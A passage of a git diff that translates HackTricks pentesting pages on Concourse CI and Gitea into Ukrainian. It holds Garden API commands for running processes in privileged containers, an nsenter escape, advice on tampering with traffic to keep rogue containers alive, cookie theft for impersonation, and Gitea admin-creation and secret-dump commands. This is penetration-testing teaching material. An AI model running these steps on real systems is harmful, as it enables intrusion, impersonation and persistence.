слухає лише на localhost, ці нотатки не матимуть жодного впливу, який ми ще не експлуатували раніше -By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections: +За замовчуванням кожен працівник concourse буде запускати службу [**Garden**](https://github.com/cloudfoundry/garden) на порту 7777. Ця служба використовується веб-майстром для вказівки працівнику **що потрібно виконати** (завантажити зображення та виконати кожне завдання). Це звучить досить добре для зловмисника, але є кілька хороших захистів: -- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker. -- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service. - -Concourse workers run with high container privileges: +- Вона **виключно локально** (127..0.0.1) і я думаю, що коли працівник аутентифікується проти вебу за допомогою спеціальної служби SSH, створюється тунель, щоб веб-сервер міг **спілкуватися з кожною службою Garden** всередині кожного працівника. +- Веб-сервер **моніторить запущені контейнери кожні кілька секунд**, і **неочікувані** контейнери **видаляються**. Тож якщо ви хочете **запустити власний контейнер**, вам потрібно **втрутитися** в **зв'язок** між веб-сервером і службою garden. +Працівники concourse працюють з високими привілеями контейнера: ``` Container Runtime: docker Has Namespaces: - pid: true - user: false +pid: true +user: false AppArmor Profile: kernel Capabilities: - BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read +BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` - -However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated. +Однак, такі техніки, як **mounting** пристрою /dev вузла або release_agent **не спрацюють** (оскільки реальний пристрій з файловою системою вузла недоступний, лише віртуальний). Ми не можемо отримати доступ до процесів вузла, тому втеча з вузла без експлойтів ядра ускладнюється. > [!NOTE] -> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**. +> У попередньому розділі ми бачили, як втекти з привілейованого контейнера, тому якщо ми можемо **виконувати** команди в **привілейованому контейнері**, створеному **поточним** **робітником**, ми могли б **втекти до вузла**. -Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it. - -**Getting inside a running privileged container** +Зверніть увагу, що граючи з concourse, я помітив, що коли новий контейнер створюється для виконання чогось, процеси контейнера доступні з контейнера робітника, тому це схоже на контейнер, що створює новий контейнер всередині нього. +**Отримання доступу до запущеного привілейованого контейнера** ```bash # Get current container curl 127.0.0.1:7777/containers @@ -389,30 +370,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` +**Створення нового привілейованого контейнера** -**Creating a new privileged container** - -You can very easily create a new container (just run a random UID) and execute something on it: - +Ви можете дуже легко створити новий контейнер (просто запустіть випадковий UID) і виконати щось на ньому: ```bash curl -X POST http://127.0.0.1:7777/containers \ - -H 'Content-Type: application/json' \ - -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' +-H 'Content-Type: application/json' \ +-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' # Wget will be stucked there as long as the process is being executed wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` - -However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers: - +Однак веб-сервер перевіряє кожні кілька секунд контейнери, які працюють, і якщо буде виявлено несподіваний, він буде видалений. Оскільки зв'язок відбувається по HTTP, ви можете підробити зв'язок, щоб уникнути видалення несподіваних контейнерів: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. @@ -434,13 +411,8 @@ Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` - -## References +## Посилання - https://concourse-ci.org/vars.html {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 0cc6363a7..8b0d913b2 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -8,19 +8,16 @@ #### With Docker-Compose -This docker-compose file simplifies the installation to do some tests with concourse: - +Цей файл docker-compose спрощує установку для проведення деяких тестів з concourse: ```bash wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d ``` +Ви можете завантажити командний рядок `fly` для вашої ОС з вебу за адресою `127.0.0.1:8080` -You can download the command line `fly` for your OS from the web in `127.0.0.1:8080` - -#### With Kubernetes (Recommended) - -You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). +#### З Kubernetes (Рекомендується) +Ви можете легко розгорнути concourse в **Kubernetes** (наприклад, в **minikube**) за допомогою helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` - -After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets: - +Після генерації середовища concourse, ви можете згенерувати секрет і надати доступ SA, що працює в concourse web, для доступу до K8s секретів: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: - name: read-secrets +name: read-secrets rules: - apiGroups: [""] - resources: ["secrets"] - verbs: ["get"] +resources: ["secrets"] +verbs: ["get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: - name: read-secrets-concourse +name: read-secrets-concourse roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: read-secrets +apiGroup: rbac.authorization.k8s.io +kind: ClusterRole +name: read-secrets subjects: - kind: ServiceAccount - name: concourse-release-web - namespace: default +name: concourse-release-web +namespace: default --- apiVersion: v1 kind: Secret metadata: - name: super - namespace: concourse-release-main +name: super +namespace: concourse-release-main type: Opaque data: - secret: MWYyZDFlMmU2N2Rm +secret: MWYyZDFlMmU2N2Rm ' | kubectl apply -f - ``` +### Створити Pipeline -### Create Pipeline - -A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html). +Pipeline складається зі списку [Jobs](https://concourse-ci.org/jobs.html), який містить впорядкований список [Steps](https://concourse-ci.org/steps.html). ### Steps -Several different type of steps can be used: +Можна використовувати кілька різних типів кроків: -- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html) -- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html) -- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html) -- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html) -- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars) -- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel -- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence -- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values -- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails +- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **виконує** [**task**](https://concourse-ci.org/tasks.html) +- the [`get` step](https://concourse-ci.org/get-step.html) отримує [resource](https://concourse-ci.org/resources.html) +- the [`put` step](https://concourse-ci.org/put-step.html) оновлює [resource](https://concourse-ci.org/resources.html) +- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) налаштовує [pipeline](https://concourse-ci.org/pipelines.html) +- the [`load_var` step](https://concourse-ci.org/load-var-step.html) завантажує значення в [local var](https://concourse-ci.org/vars.html#local-vars) +- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) виконує кроки паралельно +- the [`do` step](https://concourse-ci.org/do-step.html) виконує кроки послідовно +- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) виконує крок кілька разів; один раз для кожної комбінації значень змінних +- the [`try` step](https://concourse-ci.org/try-step.html) намагається виконати крок і успішно завершується, навіть якщо крок не вдається -Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step. +Кожен [step](https://concourse-ci.org/steps.html) у [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) виконується у **своєму контейнері**. Ви можете виконувати все, що хочете, всередині контейнера _(тобто виконати мої тести, запустити цей bash-скрипт, зібрати це зображення тощо)_. Тож, якщо у вас є job з п'ятьма кроками, Concourse створить п'ять контейнерів, по одному для кожного кроку. -Therefore, it's possible to indicate the type of container each step needs to be run in. - -### Simple Pipeline Example +Отже, можливо вказати тип контейнера, в якому потрібно виконати кожен крок. +### Простий приклад Pipeline ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - sleep 1000 - echo "$SUPER_SECRET" - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +sleep 1000 +echo "$SUPER_SECRET" +params: +SUPER_SECRET: ((super.secret)) ``` ```bash @@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` +Перевірте **127.0.0.1:8080**, щоб побачити потік конвеєра. -Check **127.0.0.1:8080** to see the pipeline flow. +### Bash скрипт з вихідним/вхідним конвеєром -### Bash script with output/input pipeline +Можливо **зберегти результати одного завдання у файл** і вказати, що це вихід, а потім вказати вхід наступного завдання як вихід попереднього завдання. Що робить concourse, так це **монтує каталог попереднього завдання в новому завданні, де ви можете отримати доступ до файлів, створених попереднім завданням**. -It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**. +### Тригери -### Triggers +Вам не потрібно вручну запускати завдання щоразу, коли вам потрібно їх виконати, ви також можете запрограмувати їх на запуск щоразу: -You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time: +- Пройшов деякий час: [Time resource](https://github.com/concourse/time-resource/) +- При нових комітах в основну гілку: [Git resource](https://github.com/concourse/git-resource) +- Нові PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) +- Отримати або надіслати останній образ вашого додатку: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -- Some time passes: [Time resource](https://github.com/concourse/time-resource/) -- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource) -- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) -- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/) - -Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) +Перевірте приклад YAML конвеєра, який спрацьовує на нові коміти в master в [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index bf4f6485a..2e9b84d05 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -2,141 +2,129 @@ {{#include ../../banners/hacktricks-training.md}} -## What is Gitea +## Що таке Gitea -**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go. +**Gitea** - це **самостійно хостинговане, кероване спільнотою легке рішення для хостингу коду**, написане на Go. ![](<../../images/image (160).png>) -### Basic Information +### Основна інформація {{#ref}} basic-gitea-information.md {{#endref}} -## Lab - -To run a Gitea instance locally you can just run a docker container: +## Лабораторія +Щоб запустити екземпляр Gitea локально, ви можете просто запустити контейнер docker: ```bash docker run -p 3000:3000 gitea/gitea ``` +Підключіться до порту 3000, щоб отримати доступ до веб-сторінки. -Connect to port 3000 to access the web page. - -You could also run it with kubernetes: - +Ви також можете запустити його з kubernetes: ``` helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` +## Невідома Енумерація -## Unauthenticated Enumeration +- Публічні репозиторії: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) +- Зареєстровані користувачі: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) +- Зареєстровані організації: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) -- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) -- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) +Зверніть увагу, що за **замовчуванням Gitea дозволяє новим користувачам реєструватися**. Це не надасть особливо цікавого доступу новим користувачам до репозиторіїв інших організацій/користувачів, але **увійшовший користувач** може мати можливість **переглядати більше репозиторіїв або організацій**. -Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**. +## Внутрішня Експлуатація -## Internal Exploitation +Для цього сценарію ми будемо припускати, що ви отримали доступ до облікового запису github. -For this scenario we are going to suppose that you have obtained some access to a github account. +### З Обліковими Даними Користувача/Веб-Кукі -### With User Credentials/Web Cookie +Якщо ви якимось чином вже маєте облікові дані для користувача всередині організації (або ви вкрали кукі сесії), ви можете **просто увійти** і перевірити, які **дозволи у вас є** на які **репозиторії,** в **яких командах** ви знаходитесь, **переглянути інших користувачів** і **як захищені репозиторії.** -If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.** - -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +Зверніть увагу, що **може використовуватися 2FA**, тому ви зможете отримати доступ до цієї інформації лише якщо зможете також **пройти цю перевірку**. > [!NOTE] -> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> Зверніть увагу, що якщо вам **вдасться вкрасти кукі `i_like_gitea`** (в даний час налаштовані з SameSite: Lax), ви можете **повністю видати себе за користувача** без необхідності в облікових даних або 2FA. -### With User SSH Key +### З SSH Ключем Користувача -Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to: +Gitea дозволяє **користувачам** встановлювати **SSH ключі**, які будуть використовуватися як **метод аутентифікації для розгортання коду** від їх імені (2FA не застосовується). +З цим ключем ви можете виконувати **зміни в репозиторіях, де у користувача є певні привілеї**, однак ви не можете використовувати його для доступу до gitea api для енумерації середовища. Однак ви можете **переглядати локальні налаштування**, щоб отримати інформацію про репозиторії та користувача, до яких у вас є доступ: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +Якщо користувач налаштував своє ім'я користувача як своє gitea ім'я користувача, ви можете отримати доступ до **публічних ключів, які він налаштував** у своєму обліковому записі за адресою _https://github.com/\.keys_, ви можете перевірити це, щоб підтвердити, що приватний ключ, який ви знайшли, може бути використаний. -If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**SSH ключі** також можуть бути налаштовані в репозиторіях як **ключі розгортання**. Будь-хто, хто має доступ до цього ключа, зможе **запускати проекти з репозиторію**. Зазвичай на сервері з різними ключами розгортання локальний файл **`~/.ssh/config`** надасть вам інформацію про те, до якого ключа це відноситься. -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### GPG Ключі -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +Як пояснено [**тут**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), іноді потрібно підписувати коміти, інакше вас можуть виявити. +Перевірте локально, чи має поточний користувач будь-який ключ за допомогою: ```shell gpg --list-secret-keys --keyid-format=long ``` +### З токеном користувача -### With User Token +Для введення про [**Токени користувача перевірте основну інформацію**](basic-gitea-information.md#personal-access-tokens). -For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens). +Токен користувача може бути використаний **замість пароля** для **автентифікації** на сервері Gitea [**через API**](https://try.gitea.io/api/swagger#/). він матиме **повний доступ** до користувача. -A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user. +### З Oauth додатком -### With Oauth Application +Для введення про [**Додатки Gitea Oauth перевірте основну інформацію**](./#with-oauth-application). -For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application). +Зловмисник може створити **шкідливий Oauth додаток** для доступу до привілейованих даних/дій користувачів, які, ймовірно, приймуть їх як частину фішингової кампанії. -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Як пояснено в основній інформації, додаток матиме **повний доступ до облікового запису користувача**. -As explained in the basic information, the application will have **full access over the user account**. +### Обхід захисту гілок -### Branch Protection Bypass +У Github ми маємо **github actions**, які за замовчуванням отримують **токен з правами на запис** над репозиторієм, який може бути використаний для **обходу захисту гілок**. У цьому випадку **це не існує**, тому обходи більш обмежені. Але давайте подивимося, що можна зробити: -In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done: +- **Увімкнути Push**: Якщо будь-хто з правами на запис може пушити в гілку, просто пуште в неї. +- **Білий список обмежених пушів**: Теж саме, якщо ви є частиною цього списку, пуште в гілку. +- **Увімкнути білий список злиттів**: Якщо є білий список злиттів, ви повинні бути в ньому. +- **Вимагати схвалень більше ніж 0**: Тоді... вам потрібно скомпрометувати іншого користувача. +- **Обмежити схвалення для білих списків**: Якщо тільки користувачі з білого списку можуть схвалювати... вам потрібно скомпрометувати іншого користувача, який є в цьому списку. +- **Скасувати застарілі схвалення**: Якщо схвалення не видаляються з новими комітами, ви можете захопити вже схвалений PR, щоб вставити свій код і злити PR. -- **Enable Push**: If anyone with write access can push to the branch, just push to it. -- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch. -- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it -- **Require approvals is bigger than 0**: Then... you need to compromise another user -- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list -- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR. +Зверніть увагу, що **якщо ви є адміністратором організації/репозиторію**, ви можете обійти захист. -Note that **if you are an org/repo admin** you can bypass the protections. +### Перерахувати Webhooks -### Enumerate Webhooks +**Webhooks** здатні **надсилати специфічну інформацію gitea в деякі місця**. Ви можете бути в змозі **використати цю комунікацію**.\ +Однак зазвичай у **webhook** встановлюється **секрет**, який ви **не можете отримати**, що **запобігає** зовнішнім користувачам, які знають URL вебхука, але не секрет, **використовувати цей webhook**.\ +Але в деяких випадках люди замість того, щоб встановити **секрет** на своє місце, **встановлюють його в URL** як параметр, тому **перевірка URL** може дозволити вам **знайти секрети** та інші місця, які ви могли б далі експлуатувати. -**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\ -However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\ -But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further. +Webhooks можуть бути встановлені на **рівні репозиторію та організації**. -Webhooks can be set at **repo and at org level**. +## Постексплуатація -## Post Exploitation +### Всередині сервера -### Inside the server +Якщо вам вдалося потрапити всередину сервера, де працює gitea, вам слід шукати файл конфігурації gitea. За замовчуванням він знаходиться в `/data/gitea/conf/app.ini` -If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini` +У цьому файлі ви можете знайти **ключі** та **паролі**. -In this file you can find **keys** and **passwords**. +У шляху gitea (за замовчуванням: /data/gitea) ви також можете знайти цікаву інформацію, таку як: -In the gitea path (by default: /data/gitea) you can find also interesting information like: +- **sqlite** БД: Якщо gitea не використовує зовнішню БД, вона використовуватиме sqlite БД. +- **сесії** у папці сесій: Виконавши `cat sessions/*/*/*`, ви можете побачити імена користувачів увійшли (gitea також може зберігати сесії в БД). +- **jwt приватний ключ** у папці jwt. +- Більше **чутливої інформації** може бути знайдено в цій папці. -- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db -- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB). -- The **jwt private key** inside the jwt folder -- More **sensitive information** could be found in this folder +Якщо ви всередині сервера, ви також можете **використовувати двійковий файл `gitea`** для доступу/модифікації інформації: -If you are inside the server you can also **use the `gitea` binary** to access/modify information: - -- `gitea dump` will dump gitea and generate a .zip file -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence) -- `gitea admin user change-password --username admin --password newpassword` Change the password -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token +- `gitea dump` вивантажить gitea і створить .zip файл. +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` згенерує токен вказаного типу (постійність). +- `gitea admin user change-password --username admin --password newpassword` Змінити пароль. +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Створити нового адміністратора та отримати токен доступу. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index e6e4d9ba3..d6031ad7d 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -1,107 +1,103 @@ -# Basic Gitea Information +# Основна інформація про Gitea {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Основна структура -The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization. +Основна структура середовища Gitea полягає в групуванні репозиторіїв за **організаціями**, кожна з яких може містити **кілька репозиторіїв** та **кілька команд**. Однак, зверніть увагу, що, як і в github, користувачі можуть мати репозиторії поза організацією. -Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**. +Більше того, **користувач** може бути **членом** **різних організацій**. У межах організації користувач може мати **різні дозволи на кожен репозиторій**. -A user may also be **part of different teams** with different permissions over different repos. +Користувач також може бути **частиною різних команд** з різними дозволами на різні репозиторії. -And finally **repositories may have special protection mechanisms**. +І нарешті, **репозиторії можуть мати спеціальні механізми захисту**. -## Permissions +## Дозволи -### Organizations +### Організації -When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**. +Коли **організація створюється**, команда під назвою **Owners** є **створеною**, і користувач потрапляє до неї. Ця команда надасть **адміністративний доступ** до **організації**, ці **дозволи** та **назва** команди **не можуть бути змінені**. -**Org admins** (owners) can select the **visibility** of the organization: +**Адміністратори організації** (власники) можуть вибрати **видимість** організації: -- Public -- Limited (logged in users only) -- Private (members only) +- Публічна +- Обмежена (тільки для авторизованих користувачів) +- Приватна (тільки для членів) -**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos. +**Адміністратори організації** також можуть вказати, чи можуть **адміністратори репозиторіїв** **додавати або видаляти доступ** для команд. Вони також можуть вказати максимальну кількість репозиторіїв. -When creating a new team, several important settings are selected: +При створенні нової команди вибираються кілька важливих налаштувань: -- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all. -- It's also indicated **if members can create new repos** (creator will get admin access to it) -- The **permissions** the **members** of the repo will **have**: - - **Administrator** access - - **Specific** access: +- Вказується, до яких **репозиторіїв організації члени команди зможуть отримати доступ**: конкретні репозиторії (репозиторії, до яких додана команда) або всі. +- Також вказується, **чи можуть члени створювати нові репозиторії** (творець отримає адміністративний доступ до нього) +- **Дозволи**, які **матимуть** **члени** репозиторію: +- **Адміністративний** доступ +- **Специфічний** доступ: ![](<../../images/image (118).png>) -### Teams & Users +### Команди та користувачі -In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**: +У репозиторії **адміністратор організації** та **адміністратори репозиторіїв** (якщо це дозволено організацією) можуть **керувати ролями**, наданими співпрацівникам (іншим користувачам) та командам. Є **3** можливі **ролі**: -- Administrator -- Write -- Read +- Адміністратор +- Запис +- Читання -## Gitea Authentication +## Аутентифікація Gitea -### Web Access +### Веб-доступ -Using **username + password** and potentially (and recommended) a 2FA. +Використовуючи **ім'я користувача + пароль** і потенційно (і рекомендовано) 2FA. -### **SSH Keys** +### **SSH ключі** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +Ви можете налаштувати свій обліковий запис з одним або кількома відкритими ключами, що дозволяє відповідному **закритому ключу виконувати дії від вашого імені.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) -#### **GPG Keys** +#### **GPG ключі** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. +Ви **не можете видавати себе за користувача з цими ключами**, але якщо ви їх не використовуєте, може бути можливим, що ви **будете виявлені за відправку комітів без підпису**. -### **Personal Access Tokens** +### **Персональні токени доступу** -You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: 